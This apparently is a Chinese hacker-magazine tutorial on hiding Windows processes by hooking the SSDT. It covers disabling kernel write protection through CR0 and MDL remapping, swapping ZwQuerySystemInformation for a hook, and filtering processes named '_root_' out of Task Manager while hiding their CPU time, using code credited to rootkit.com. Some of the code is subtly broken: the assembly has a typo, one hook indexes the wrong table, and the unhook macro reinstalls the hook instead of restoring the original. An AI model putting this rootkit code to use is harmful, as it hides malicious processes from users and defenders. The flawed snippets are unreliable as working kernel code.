挂钩SSDT隐藏进程

来源:互联网 发布:企业工商数据精准查询 编辑:程序博客网 时间:2024/06/11 01:12

(本文发表于黑访11期上,请勿转载)

新学期又开始了,一来到学校我口袋的资金剧烈减少,我估计因该和现在轻微的通货膨胀有关(其实是我开学乱花钱花的),没有办法只好也来黑防算是“骗”点钱花了。嘿嘿。

最近大家对于ring0级的研究正如当年的注入一样越来越火,认识的朋友似乎张口闭口都是内核,看来这有可能是以后的趋势了,在下不才在此献上一篇文章,算是抛砖引玉。希望以后有更好的文章发表出来。^_^

我想大家都用过冰刃吧,因该对SSDT记忆犹新,但什么是SSDT,他是做什么的呢?

SSDT的全称是System Services Descriptor Table,系统服务描述符表。这个表的作用就是把ring3Win32 APIring0的内核API联系起来。

他通过对系统调用进行索引,然后定位函数的内存地址。当应用程序采用子系统调用系统服务时,他会调用到Ntdll.dll中,后者向EAX中加载所请求的系统服务标识符编号或系统函数编号,然后向EDX中加载用户模式中函数的参数地址,系统服务调度程序对参数数目进行验证,将他们从用户堆栈复制入内核堆栈,然后调用在SSDT中储存于EAX中的服务标识符编号的索引地址处的函数。

举个例子当我们要调用OpenProcess 函数时。函数进入内核的过程如下:

当程序的处理流程进入ring0之后,系统会根据服务标识符编号eax)在SSDT这个系统服务描述符表中查找对应的表项,这个找到的表项就是系统服务函数NtOpenProcess的真正地址。之后,系统会根据这个地址调用相应的系统服务函数,并把结果返回给ntdll.dll中的NtOpenProcess。图中的“SSDT”所示即为系统服务描述符表的各个表项;右侧的“ntoskrnl.exe”则为Windows系统内核服务进程(ntoskrnl即为NT OS KerneL的缩写),它提供了相对应的各个系统服务函数。ntoskrnl.exe这个文件位于Windowssystem32目录下

这里说明一点,SSDT中的各个表项不会全部指向ntoskrnl.exe中的服务函数,因为你机器上的杀毒监控或其它驱动程序可能会改写SSDT中的某些表项。已到达他们的目的。

我们还要明确一个概念,就是KeServiceDescriptorTable它是内核导出的表,该表拥有一个指针,指向SSDT中包含由ntoskrnl.exe实现核心系统服务的相应部分,我们可以把它理解成SSDT在内核中的数据实体。

SSDT的数据结构定义如下:


typedef struct _tagSSDT {
    PVOID pvSSDTBase;
    PVOID pvServiceCounterTable;
    ULONG ulNumberOfServices;
    PVOID pvParamTableBase;
} SSDT, *PSSDT; 

 

有了以上知识后我们就可以钩住SSDT来完成我们希望实现的功能,这里介绍一种隐藏进程的方法。但有一个问题出现了,我们要修改SSDT表,首先这个表必须是可写的,但在xp以后的系统中他都是只读的,我总结了三个办法来修改内存保护机制。这对以后的编程是很有用处的

   

1,更改注册表(要从起)

HKLM/SYSTEM/CurrentControlset/Control/Session Manger/

Memory Management/EnforceWriteProtection=0

HKLM/SYSTEM/CurrentControlset/Control/Session Manger/

Memory Management/DisablePagingExecutive=1

 

(这个方法我没有试验成功)这里只是列出作为一种方法

2,修改控制寄存器CR0 

wp位设置为0

__asm

{

push eax

mov eax,CR0

and eax,0FFFEFFFFh

mov CR0,eax

pop eax

}

 

如果恢复可以

__asm

{

push eax

move eax,CR0

or eax, NOT 0FFFEFFFFh

mov CR0,eax

pop eax

}

 

这个方法希望以后再编程的时候尽量少用点,因为它常常会带来一些问题。

3.利用内存描述符表,描述一块可写内存,本人强烈推荐此办法,有什么好处,你会在编程中体会到的。

以下是MDLntddk.h的定义

typedef struct _MDL {

    struct _MDL *Next;

    CSHORT Size;

    CSHORT MdlFlags;

    struct _EPROCESS *Process;

    PVOID MappedSystemVa;

    PVOID StartVa;

    ULONG ByteCount;

    ULONG ByteOffset;

} MDL, *PMDL;

 

#define MDL_MAPPED_TO_SYSTEM_VA     0x0001

#define MDL_PAGES_LOCKED            0x0002

#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004

#define MDL_ALLOCATED_FIXED_SIZE    0x0008

#define MDL_PARTIAL                 0x0010

#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020

#define MDL_IO_PAGE_READ            0x0040

#define MDL_WRITE_OPERATION         0x0080

#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100

#define MDL_FREE_EXTRA_PTES         0x0200

#define MDL_IO_SPACE                0x0800

#define MDL_NETWORK_HEADER          0x1000

#define MDL_MAPPING_CAN_FAIL        0x2000

#define MDL_ALLOCATED_MUST_SUCCEED  0x4000

MDL包含了该内存区域的起始地址,拥有者进程,字节数量以及标志;

 

这里以修改SSDT为例,以下代码先声明一个结构,该结构用了转换由内核导出的KeServiceDescriptorTable变量的类型。调用MmCreateMdl时要KeServiceDescriptorTable的基地址和他包含的项数,从中我们得到MDL所描述的内存区域与大小。然后从不分页内存中创建MDL.我们将MDL标志与MDL_MAPPED_TO_SYSTEM_VA进行或操作,以便允许写入一块内存区域。然后就可以调用MmMapLockedPage来锁定内存中的MDL页。

#pragma pack(1)

typedef struct ServiceDescriptorEntry {

        unsigned int *ServiceTableBase;  //keServiceDescriptorTable的基地址

        unsigned int *ServiceCounterTableBase;

        unsigned int NumberOfServices;  //包含的项数

        unsigned char *ParamTableBase;

}SSDT_Entry;

#pragma pack()

__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

PMDL g_pmdlSystemCall;

PVOID *MappedSystemCallTable;

g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);

if(!g_pmdlSystemCall)

return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool (g_pmdlSystemCall);

g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

 

好了我们现在可以试着隐藏进程了,Taskmgr.exe是通过ZwQuerySystemInformation函数获取系统上的进程列表,如果要获得进程列表那么,SystemInformationClass要设置为5

ZwQuerySystemInformation函数结构如下:

NTSTATUS NewZwQuerySystemInformation(
   IN ULONG SystemInformationClass,   //
如果这值是5,则代表系统中所有进程信息

   IN PVOID SystemInformation,   //
这就是最终列举出的信息,和上面的值有关
   IN ULONG SystemInformationLength, //
后两个不重要
   OUT PULONG ReturnLength)

Windows2000NtQuerySystemInformationSSDT里面的索引号是0x97,所以只需要把SSDT中偏移0x97*4处把原来的一个DWORD类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的Hook函数的地址,就完成了Hook

OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];

KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;

在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《Undocument Nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 ZwQuerySystemInformation中包含有索引号的硬编码:

kd> u ZwQuerySystemInformation

804011aa    b897000000      mov         eax,0x97

804011af    8d542404        lea         edx,[esp+0x4]

804011b3    cd2e            int         2e

804011b5    c21000          ret         0x10

所以只需要把ZwQuerySystemInformation入口处的第二个字节取出来就能得到相应的索引号了。

 

好了,有了以上准备工作我们可以钩住SSDT表了,为了方便这里给出了四个宏定义

 

//获得SSDT基址宏

#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

 

//获得函数在SSDT中的索引宏

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

 

//调换自己的hook函数与原系统函数的地址

#define HOOK_SYSCALL(_Function, _Hook, _Orig )  _Orig = (PVOID) InterlockedExchange( (PLONG)  &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

 

//卸载hook函数

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

 

有点乱了吧:我来总结一下

如果要隐藏进程我们可以

首先:突破SSDT的内存保护,如上所用的MDL方法

然后:实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
  
最后:用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数
      
这里我们要首先声明进程和线程结构:

struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};

下面给出一个完整的代码,它的出自于rootkit.com,我这里只详细讲解以下链表的操作,完整的代码附在文后:

              if(SystemInformationClass == 5)

              {

                     // 列举系统进程链表

                     // 寻找以"_root_"开头的进程

                     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

                     struct _SYSTEM_PROCESSES *prev = NULL;

                     while(curr)

                     {

                            //DbgPrint("Current item is %x/n", curr);

                            if (curr->ProcessName.Buffer != NULL)

                            {

                                   if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))

                                   {

                       //保存时间

                                          m_UserTime.QuadPart += curr->UserTime.QuadPart;                                         m_KernelTime.QuadPart += curr->KernelTime.QuadPart; 

                                          if(prev) //数据项在链表的中间或者最后

                                          {

                                                 if(curr->NextEntryDelta)

                                                        prev->NextEntryDelta += curr->NextEntryDelta;

 //如果在中间我们删除_root_这一项

                                                 else // we are last, so make prev the end

                                                        prev->NextEntryDelta = 0; //如果_root_在最后一项清0

                                          }

                                          else

                                          {

                                                 if(curr->NextEntryDelta)

                                                 {

                                                        // we are first in the list, so move it forward

                                                        (char *)SystemInformation += curr->NextEntryDelta;

                              //把下一下项做为头结点

                                                 }

                                                 else // 唯一的进程

                                                        SystemInformation = NULL;

                                          }

                                   }

                            }

                            else // Idle process入口

                            {

                                   // 把保存的_root_进程的时间加给Idle进程,Idle称空闲时间

                                   curr->UserTime.QuadPart += m_UserTime.QuadPart;

                                   curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

                                   // 重设时间,为下一次过滤

                                   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

                            }

                            prev = curr; //curr传给prev

                            if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

                            //     curr向后移动结点                           

                            else  curr = NULL;

                     }

              }

              else if (SystemInformationClass == 8) // 列举系统进程时间

              {

                     struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

                     times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

              }

完整的代码请看我随文的文件。

到此我们就安装了SSDT钩子隐藏了进程。

希望看完这篇文章后能对你有所帮助,现在对内核研究的人越来越多,希望你们也加入这些人当中来,发掘出更多的东西来。